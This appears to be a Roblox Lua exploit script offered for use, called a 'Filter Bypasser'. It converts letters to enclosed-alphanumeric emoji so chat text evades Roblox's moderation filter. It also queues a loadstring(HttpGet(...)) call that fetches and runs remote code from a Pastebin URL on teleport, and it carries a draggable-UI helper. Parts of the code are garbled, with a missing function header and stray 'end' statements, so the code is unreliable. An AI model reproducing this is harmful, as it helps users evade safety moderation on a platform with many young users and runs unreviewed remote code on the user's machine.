Roblox Filter Bypasser
Roblox Filter Bypasser
local conversions = {
["A"] = "🅰", ["B"] = "🅱", ["C"] = "🅲", ["D"] = "🅳", ["E"] = "🅴",
["F"] = "🅵", ["G"] = "🅶", ["H"] = "🅷", ["I"] = "🅸", ["J"] =
"🅹",
["K"] = "🅺", ["L"] = "🅻", ["M"] = "🅼", ["N"] = "🅽", ["O"] = "🅾",
["P"] = "🅿", ["Q"] = "🆀", ["R"] = "🆁", ["S"] = "🆂", ["T"] = "🆃",
["U"] = "🆄", ["V"] = "🆅", ["W"] = "🆆", ["X"] = "🆇", ["Y"] =
"🆈",
["Z"] = "🆉", ["a"] = "🅰", ["b"] = "🅱", ["c"] = "🅲", ["d"] = "🅳",
["e"] = "🅴", ["f"] = "🅵", ["g"] = "🅶", ["h"] = "🅷", ["i"] =
"🅸",
["j"] = "🅹", ["k"] = "🅺", ["l"] = "🅻", ["m"] = "🅼", ["n"] =
"🅽",
["o"] = "🅾", ["p"] = "🅿", ["q"] = "🆀", ["r"] = "🆁", ["s"] = "🆂",
["t"] = "🆃", ["u"] = "🆄", ["v"] = "🆅", ["w"] = "🆆", ["x"] =
"🆇",
["y"] = "🆈", ["z"] = "🆉",
}
for i = 1, #text do
local char = text:sub(i, i)
if conversions[char] then
outputText = outputText .. conversions[char]
else
outputText = outputText .. char
end
end
return outputText
end
script.Parent.TextButton.Activated:Connect(function()
script.Parent.TextBox.Text = SWEARFONT(script.Parent.TextBox.Text)
end)
queueonteleport('loadstring(game:HttpGet("https://pastebin.com/raw/
Qg5cmspH",true))()')
end;
task.spawn(C_6);
-- StarterGui.firetrips9's Filter Bypasser.Frame.Dragify
local function C_7()
local script = G2L["7"];
local UIS = game:GetService("UserInputService")
function dragify(Frame)
dragToggle = nil
dragSpeed = 0.15
dragInput = nil
dragStart = nil
dragPos = nil
function updateInput(input)
Delta = input.Position - dragStart
Position = UDim2.new(startPos.X.Scale, startPos.X.Offset +
Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Frame,
TweenInfo.new(0.15), {Position = Position}):Play()
end
Frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil
then
dragToggle = true
dragStart = input.Position
startPos = Frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End
then
dragToggle = false
end
end)
end
end)
Frame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if input == dragInput and dragToggle then
updateInput(input)
end
end)
end
dragify(script.Parent)
end;
task.spawn(C_7);